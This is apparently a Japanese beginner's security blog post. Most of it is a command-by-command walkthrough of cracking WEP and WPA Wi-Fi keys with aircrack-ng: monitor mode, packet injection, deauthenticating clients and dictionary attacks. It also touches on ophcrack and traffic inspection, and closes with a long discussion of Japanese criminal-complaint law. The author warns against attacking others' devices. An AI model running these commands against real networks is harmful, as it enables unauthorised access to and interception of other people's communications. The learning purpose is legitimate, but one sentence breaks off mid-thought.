セキュリティで使っている便利ツール vol.1



##はじめに

パソコンを使う上で、セキュリティのことは、割と気になることではあったりします。

しかし、セキュリティと言っても、私のような初心者には全く分からないことだらけで、何からやればいいのか、何を学べばいいのか、その方向性が見えない人も少なくないと思います。

ここで、私は、防御を学ぶには、まず攻撃から学ぶのが最も効率が良いのではないかと考えています。

これは、防御手法のほとんどは、攻撃側から発生すると考えるからです。

具体的には、脆弱性の発見とその修正といった形などのことです。

攻撃手法やその防御は、日々変化していくものですが、その多くは、攻撃から始まることが多いからと言い換えてみてもよいかもしれません。

したがって、攻撃から防御を見ていくことは、情報の新規性や専門技術的知識から見て、一定の合理性があると思います。

もちろん、ここで言う専門技術的知識というのは、何も定型的な技術に限らず、思考的知識を含んだものもの含まれます。

例えば、犯人を捕まえようとした場合、まずは犯人ならどのように行動するのかを考えなければなりませんし、そのような思考が捜査上では、最も合理的になりうるということです。

よって、この記事では、攻撃ツールの使い方から、セキュリティを考えてみることにします。

なお、予め断っておきますが、他人のパソコンを許可無く操作してはいけませんし、攻撃しないようにしてください。また、`airmon-ng`を使ったモニターも、厳重な監視下の元、他人の機器に影響が出ないよう配慮が必要だと思われます。

##aircrack-ng

`aircrack-ng`というものは、無線LANのパスワードを解析するために使われるツールです。

具体的には、パケットの収集、無線接続の妨害、パスワードの解析からブルートフォースアタックなど様々な役割を担うツールが分割されています。

`aircrack-ng`自体は、最終的なパスワード解析のためのツールです。他には、`airmon-ng`や`airodump-ng`などそれぞれの役割に応じて使用するツールが変わってきます。

無線LANに使われている暗号方式としては、WEPやWPAなどがあります。ここで、WEPは、所定のパケットを収集することでパスワードを解析することができます。したがって、この暗号方式は、セキュリティ上、採用すべきではないということになります。

では、一般的な無線パスワードの破り方について見て行きたいと思います。

まずは、使えそうなツールのインストールです。`Arch Linux`を想定していますが、他のOSについても、ほとんど同じです。ちなみに、`kali Linux`を使用すれば、これらのツールは、はじめから入っているものばかりですので、そちらの方を使用すると、楽かもしれません。

```bash:
$ sudo pacman -S aircrack-ng net-tools arp-scan
```

ちなみに、`arp-scan`は、perlで書かれたLAN内検索に使えるスクリプトです。

```bash:
$ sudo arp-scan -l
```

###WEPの解析

以下のコマンドで、仮想の接続子(インターフェイス)を作り上げる感じですね。このインターフェイスはパソコンによって、デフォルトで設定される名前が異なる。ここでは、wlan0とします。

~~~bash:
$ ifconfig -a

$ sudo airmon-ng stop wlan0

$ sudo airmon-ng check kill

$ sudo airmon-ng start wlan0
```

ちなみにこの手順、モニターモードへの切り替えは、以下のようなコマンドでも同じことです。

```bash:
$ iwconfig

$ sudo ifconfig wlan0 down

$ sudo iwconfig wlan0 mode monitor

$ sudo ifconfig wlan0 up
```

`Monitor Mode`を起動できない場合は、`iw list`コマンドにて、`Supported interface modes`のところを見て欲しいと思います。

ここに`Monitor`がなければ、モニターモードは使えません。MacBook Airのドライバもこれはサポートされてないようだったので、サポートするようにしましたが、その手順は後述します。

まずは、普通のパソコンでWEPのパスワードを解析するまでを書きます。

次に、スキャンを開始して、ターゲットに必要な情報を得ます。保存する場合は、-wで指定します。

```bash:
$ sudo airodump-ng mon0 -w airscan

$ cat airscan*.csv | peco > airscan.txt

$ export bssid=`cat $filen | cut -d , -f -1`
$ export essid=`cat $filen | cut -d , -f 14-14`
$ export macip=`ip link show mon0 | grep link | cut -d ' ' -f 6-6`
```

次に、パケット収集です。WEPは、ここから得られる情報を合わせて、パスワードを割り出せます。オプションで指定する必要があるものは、上のコマンドで保存したターゲット情報を元に指定します。



```bash:
$ sudo airodump-ng -c 1 --bssid $bssid -w cap mon0
```

ここで、指定する`cap`は保存ファイル名です。解析に必要なパケットは、大体、800,000くらいのIV(パケット)が目安らしいです。これは、`#Data`の値を言います。


パケット収集を早めることもできます。別ウィンドウで以下を実行すると良いと思われます。

```bash:
$ sudo aireplay-ng -3 -b $bssid -h $macip mon0
```

解析に必要な情報が集まったら、パスワード解析。無理だった場合は、再度集めろって言われるし、集まってたらパスワードは判明します。

```bash:
$ sudo aircrack-ng cap-*.cap
```

###macbookでモニターモードを使う方法

例えば、MacBookの場合、以下のような記事があります。ここには、Macbook 7,1では、monitor modeが動かないので、b43ドライバを手動でインストールしたら動いたみたいなことが書かれています。

http://www.aircrack-ng.org/doku.php?id=macbook

つまり、手動でb43ドライバを更新しなければならず、以下の手順でインストールしたドライバでは、動かないということっぽいです。

```
$ lspci -vnn -d 14e4:

$ sudo pacman -S b43-fwcutter
```

そこで、手動で無線ドライバを Monitor Mode サポートされせる方法は、以下のような感じになります。


http://linuxwireless.org/en/users/Drivers/b43/#Other_distributions_not_mentioned_above

```
## You need to have a compiler and headers for libc installed, since you will have to build fwcutter from source
# Install b43-fwcutter
$ wget http://bues.ch/b43/fwcutter/b43-fwcutter-018.tar.bz2 http://bues.ch/b43/fwcutter/b43-fwcutter-018.tar.bz2.asc
$ gpg --verify b43-fwcutter-018.tar.bz2.asc
$ tar xjf b43-fwcutter-018.tar.bz2
$ cd b43-fwcutter-018
# It's possible to use certain drivers under linux on a Macbook in order to inject in monitor mode, allowing for much wider greater usage of aircrack-ng.
$ make B43_BCMA_EXTRA='y'; sudo make install

## If you are using the b43 driver from 3.2 kernel or newer:
# After installing b43-fwcutter, download version 5.100.138 of Broadcom's proprietary driver and extract the firmware from it:
# この手順は通常は不要です
$ uname -r
$ export FIRMWARE_INSTALL_DIR="/lib/firmware"
$ wget http://www.lwfinger.com/b43-firmware/broadcom-wl-5.100.138.tar.bz2
$ tar xjf broadcom-wl-5.100.138.tar.bz2
$ sudo b43-fwcutter -w "$FIRMWARE_INSTALL_DIR" broadcom-wl-5.100.138/linux/wl_apsta.o

# To unload all known drivers (you can pick only one command, if you know which driver is in use) perform:
$ sudo modprobe -r b43
$ sudo modprobe -r brcmsmac
$ sudo modprobe -r wl

# To load specific driver use one of the following commands:
$ sudo modprobe b43
$ sudo modprobe brcmsmac
$ sudo modprobe wl

# ls module:
$ lsmod

# start airodump-ng:
$ iw list
$ iwconfig
$ sudo airmon-ng check kill
$ sudo airmon-ng start wlp2s0b1
$ sudo airodump-ng mon0 
```

できました。

注意しなければならないのが、これまでのインターフェイス名と異なったものに置き換えられるため(wlp2s0b1)、再度、wi-fi設定を行う必要が出てくるということです。

```
$ sudo airmon-ng stop mon0
$ sudo airmon-ng stop wlp2s0b1

$ sudo wifi-menu

$ sudo netctl list

$ sudo netctl start wlp2s0b1xxxxxxxxx
```

`netctl`がエラーを出すときは、大抵、`sudo ifconfig wlp2s0 down`などを実行した後、`netctl start`することで解決します。私の場合、自動接続が効かなくなったので、`sudo systemctl di<Tab> <Tab>`で`wlp2s0xxxxxx`関連を削除することで解決しました。

また、この設定も再起動と同時に、moduleはunloadされますので、再度、無線インターフェイスでMonitorをしたい場合は、以下のコマンドでも実行しましょう。

```bash:
# To unload all known drivers (you can pick only one command, if you know which driver is in use) perform:
$ sudo modprobe -r b43
$ sudo modprobe -r brcmsmac
$ sudo modprobe -r wl

# To load specific driver use one of the following commands:
$ sudo modprobe b43
$ sudo modprobe brcmsmac
$ sudo modprobe wl
# iwconfig:
$ iwconfig
```

この辺、Linux関連の高度な知識が要求されてきそうなので、Arch LinuxやGentoo Linuxを使っている人にとっては、問題解決は比較的容易だと思われますが、他のOSを使っている人だと、もしかすると、よくわからないことになってしまうかもしれませんので、注意です。

###WPAの解析

WPAの場合は、解析に必要なパケットを集めるのに、ターゲットの無線にアクセスしているコンピュータが必要になってきます。これは、パケット収集における「WPA handshake: 00:11:22:33:44:55」で現されます。これが表示されていれば良いが、表示されていなければ、パケットをいくら収集しても無駄だというわけですね。

以下、手短に説明します。まず、AP(アクセスポイント)に認証要求を出します。

```
$ sudo aireplay-ng -1 0 -e $essid -a $bssid -h $macip mon0
```

次に、パケット収集を始め、保存された情報を元に、辞書アタックをかける。辞書がない場合は、本パスワードを記述したファイルを用意しておくと良いかもしれない。一発で解析成功する。

```
$ sudo airodump-ng -c 1 --bssid $bssid -w cap mon0

$ sudo aircrack-ng -w pass.txt cap-*.cap
```

その他、ターゲットの無線LANに接続しているコンピュータの接続を強制的に切って、再接続中に漏れる情報を狙うという手もある。

```
# Typical Deauthentication
$ aireplay-ng --deauth 5 -a (BSSID) -c (MAC address of the client you are deauthing) rausb0
 
# exsample
$ aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 mon0
```

ちなみに、得られたキーの使い道は、接続するためにも使われますが、`wireshark`を使ってパケット解析(通信内容の傍受と解読)にも使われますので、非常に危険です。

そして、ほとんど日本語の情報はありませんが、実は無線LANのWPAも


あと、`mon0`のストップはこちらの手順でできます。

```
$ sudo airmon-ng

$ sudo airmon-ng stop mon0
$ sudo airmon-ng stop wlan0

$ sudo airmon-ng
```

参考

https://www.rcis.aist.go.jp/TR/2009-01/wpa-compromise.html

##ophcrack

引き続き、パスワードクラックのツールです。

ophcrackは、一般的なパスワード解析ツール。古いWindowsのパスワードはほぼ確実に解析可能だと思われます。

```bash:
$ sudo pacman -S ophcrack
```

Windows7のシステム的不備を利用して起動する方法は、以下の通り。必要なものはありません。

http://imgur.com/gallery/H8obU

[Trinity Rescue Kit](http://trinityhome.org/)は、USBにインストールするタイプのブートシステムでパスワードをリセットしてくれます。


##wireshark

次に、先程ちょっとだけ出てきた`wireshark`の紹介です。これは、パケット解析のためのツールです。パケットとは通信の最小単位とでも考えていただければ分かりやすいかと思いますが、厳密な意味については気になる人は、調べてください。



しかし、非常に小さな単位なだけに、それを調べることで、通信の内容がわかったりすることがあります。(分かったりすることがあるというのは、例えば、暗号化されている通信もあるので)

```bash:
$ sudo pacman -S wireshark-cli
```

例えば、以下の様なコマンドを実行して、ホスト元から調べてみることにしてみましょう。


```bash:
$ sudo pacman -S dnsutils wireshark-cli

$ sudo tshark
0001 xxx.0000 192.168.1.2 -> xxx.xxx.xxx.xxx TCP 66 3000→80 [ACK] Seq=000 Ack=000 Win=xxx Len=0 TSval=xxxxx TSe
0002 xxx.0000 xxx.xxx.xxx.xxx -> 192.168.1.2 TCP 66 80→3000 [ACK] Seq=000 Ack=000 Win=xxx Len=0 TSval=xxxxx TSec
0003 xxx.0000 192.168.1.2 -> xxx.xxx.xxx.xxx TCP 66 3000→80 [ACK] Seq=000 Ack=000 Win=xxx Len=0 TSval=xxxxx TSe
0004 xxx.0000 xxx.xxx.xxx.xxx -> 192.168.1.2 TCP 66 80→3000 [ACK] Seq=000 Ack=000 Win=xxx Len=0 TSval=xxxxx TSec

$ whois xxx.xxx.xxx.xxx
$ nslookup dropbox.com

# 特定の通信を見る
$ sudo tshark -i 1 -f 'host 192.168.1.2'
```

ここで、通信の内容は、ローカルIPである192.168.1.2がグローバルIPの108.160.162.99に情報を送受信しているようです。

ということで、とりあえずホストを検索。発信元を探っています。

ちなみに、大体の位置情報もホストから判別できます(間違っている可能性も十分あります)。

```bash:
$ sudo pacman -S geoip geoip-database
$ geoiplookup 108.160.169.99

# 自分のを調べる
$ curl ipcheck.ieserver.net | xargs geoiplookup

# ついでに自分のポートも見ておく
$ netstat -a
```

ここで、一つ有効な方法としては、ルーターの管理を行なうことだと思われます。例えば、ほとんどの無線LANルーターには、IPアクセス制限を設けることができます。これを利用し、ひとまず一切の通信を許可しないようにするのです。そこで、自身のパソコンまたは、ルーターから発せられる命令を1つずつ確認していく方法です。

例えば、自分のパソコンにマルウェアが仕込まれている場合、定期的に外部サーバーなどに不自然なアクセスというか、情報の送信が行われることなどが予想されます。

その命令を発しているプロセスを見つけ出し、殺すことで、ある程度、パソコンを安全に使用できると思われます。

しかし、やり過ぎると、場合によっては不便になるので、不便にならない程度に行うのが良いと思われます。

ただし、こういった情報が当てになるか、参考になるかというと、ほとんどならないと思われます。

そもそも不審な通信元は、隠されていることが通常ですし、踏み台などを使用するのが通常だからです。

したがって、これらの初期情報だけでは殆ど何の役にも立たない事が多いと思われます。

例えば、torが使われれば、通信元は隠蔽できるし、追跡は難しいと思われます。また、複数のサーバーを経由しての通信も同様です。

その他、便利なコマンドとしては、以下の様なものがあります。

| コマンド|内容 | 日本語|
|---|---|---|
| nc | net [cat](http://tools.kali.org/tag/https) | 通信 
| nettop, nethogs | net [top](http://tools.kali.org/information-gathering/ntop) | 監視
| iproute2, macchanger | ip [spoofing](http://tools.kali.org/tag/spoofing) | アドレス偽装
| nmap | port [scan](http://tools.kali.org/tag/portscanning) | ポートスキャン

だからこそ、このような情報をとっかかりとして、解析し、追跡する技術が重要になってくると思われます。

##法律問題

例えば、ここに書いた不審な通信を見つける方法ですが、もし個人で、しかもそれがハッカー(クラッカー)本人である可能性が極めて高い場合の対処法というか、法律的には、こういう手段も考えられるのではないかというのを書いておこうと思います。

ちなみに、コンピュータと同じく、私は、法的知識はほぼゼロ、全くの初心者ですので、あまり参考にはなりませんが。

まず、一言で言うと、告訴状を書いてみると良い、ということ。

告訴(刑事訴訟法230条-238条)というのは、捜査機関に処罰を求める意思表示のことで、告訴、告発、自首を受けた事件では、その事件は検察官のもとに送致(法203,246条)されます。ちなみに、被害者によるものを告訴といい、第三者によるものを告発と言います。世間一般では、刑事告訴、告発という用語が使われているようですが、どちらでも構いません。

反対に、単なる犯罪事実の申告のことは、被害届と言って、警察では被害届の方を薦められると思いますが、被害届は基本的にはよろしくないと考えていますので、このような案件の場合は、告訴状を一度でもいいから書いてみることをおすすめします。多分、最初から全部埋められないと思いますが、それでも、勉強になりそう感あります。

警察では、何故、被害届を勧められ、告訴状を受け取りにくい空気があるのかというと、一度告訴状を受理してしまうと、通知義務などが発生するからだと思われます(法260条)。

さて、告訴状を書くと言っても、まずは、証拠というか、情報がないとどうしようもありません。

したがって、まずは証拠集めからですが、不審なアクセスというか、権限のないアクセスが発生している場合は、ルーターを使ったログを収集、記録し、パソコンでもパケットなどを解析して、発信元をある程度、割り出す必要があります。

ここで、発信元を特定したあとは、プロバイダなどに、それらの証拠を提示し、[情報開示請求](http://www.hikari-law.com/J/column/0030.php)を行なうことになりそうです。実は、グローバルIPアドレスが判明しただけでは、犯人を特定できません。プロバイダ(または、サーバー管理者)が保有しているであろう情報と照会することで初めて個人の特定が可能であると思われます。

プロバイダは、証拠として提示されたアドレスと示された日時(タイムスタンプ)をログと照合し、契約者を割り出します。ここで、グローバルIPアドレスというのは、固定されてない限り、通常は、日々、変化するアドレスだということは知っておいても損はないかもしれません。

契約者が判明した場合、その契約者について少し調べた後に、証拠とともに、告訴状を書くことになろうかと思われます。

- [不正アクセス行為の禁止等に関する法律](http://law.e-gov.go.jp/htmldata/H11/H11HO128.html)

- 不正指令電磁的記録に関する罪(刑法168条の2)…変なプログラムを動作させた場合など

- 不正指令電磁的記録取得等(刑法168の3)…変なプログラムを使って情報を取得した場合など

- 電磁的記録を損壊し業務妨害をした罪(刑法234条の2)…ホームページを改ざんした場合など

- 器物損壊罪(刑法261条)…コンピュータを壊した場合など

本件とは関係ありませんが、告訴に関しては、告訴がない親告罪の捜査の可否などの論点がありますね。

上で挙げたものに関わらず、重大な犯罪行為以外は、多くに、親告罪です。親告罪というのは、起訴の要件(訴訟条件)に、告訴があることが必要になります。簡単にいえば、いくら犯罪事実が認められるとしても、刑事事件では、基本的には、被害者の意思というか、そういったものを尊重するわけですね。

ただ、説得や捜査自体は禁じ得ないというのが通説であり、実際の運用でもあると解釈されています。つまり、告訴がないけど、捜査できるということ。なぜなら、捜査機関は、犯罪があると思慮するときは、捜査することができるからです(刑事訴訟法189条2項)。

もちろん、捜査は、公訴提起、遂行のため、犯人を発見、保全し、証拠を収集、確保する行為のことであり、簡単に言うと、公訴のための準備活動に過ぎません。したがって、そもそも公訴提起が不可能な場合(時効などを想起)や、親告罪の趣旨である被害者意思の尊重を没却する場合などには、許されないこともあると思われます。というより、私はそのように考えます。



ただ、書くことによって少し勉強になるし良いかもしれないなと思って書いています。

今回調べてみて、私は、刑法の条文の電磁的記録関連はあまり知らなかったので、良かったかなと。

また、注意して欲しいのが、虚偽の情報開示請求は危険ですので、そういった違法行為は避けるようにということです。

例えば、権利侵害をされていないのに、権利を侵害されたと言って、相手をだます目的で文章を作成し、それを行使する行為は、文書偽造罪(刑法154条-161条の2)辺りの条文を見てもらえればわかると思いますが、非常に危険な行為であると思われます。むしろ、不正アクセス、それ自体より重いということがあるかもしれません。なので、その辺にも注意ということで。

##さいごに

セキュリティ技術のレベルを上げたいのなら、自分で自分を攻撃し、自分で自分を防御し、自分で自分を特定し、自分で自分の告訴状を書いてみると良いかもしれないなと思いました。

セキュリティ関連の話になってくると、最も効率的、合理的にレベルアップする方法は、私は、具体的に考えることだと思っているからです。

では、具体的に考えるということはどういうことなのでしょうか。

これは、「実践する」という言葉に置き換えられるし、「最悪の事態を想定する」という言葉にも置き換えられる感じのことをイメージしていただければ分かりやすいのではないかと思います。

最悪の事態というのは、例えば、自分が他人のコンピュータに侵入した場合、どういったことになるのか、その危険を認識しておくことも重要ですし、また、自分が侵入された場合、どういった対処をすればよいのかを考えておくことというのは、大切だと思いました。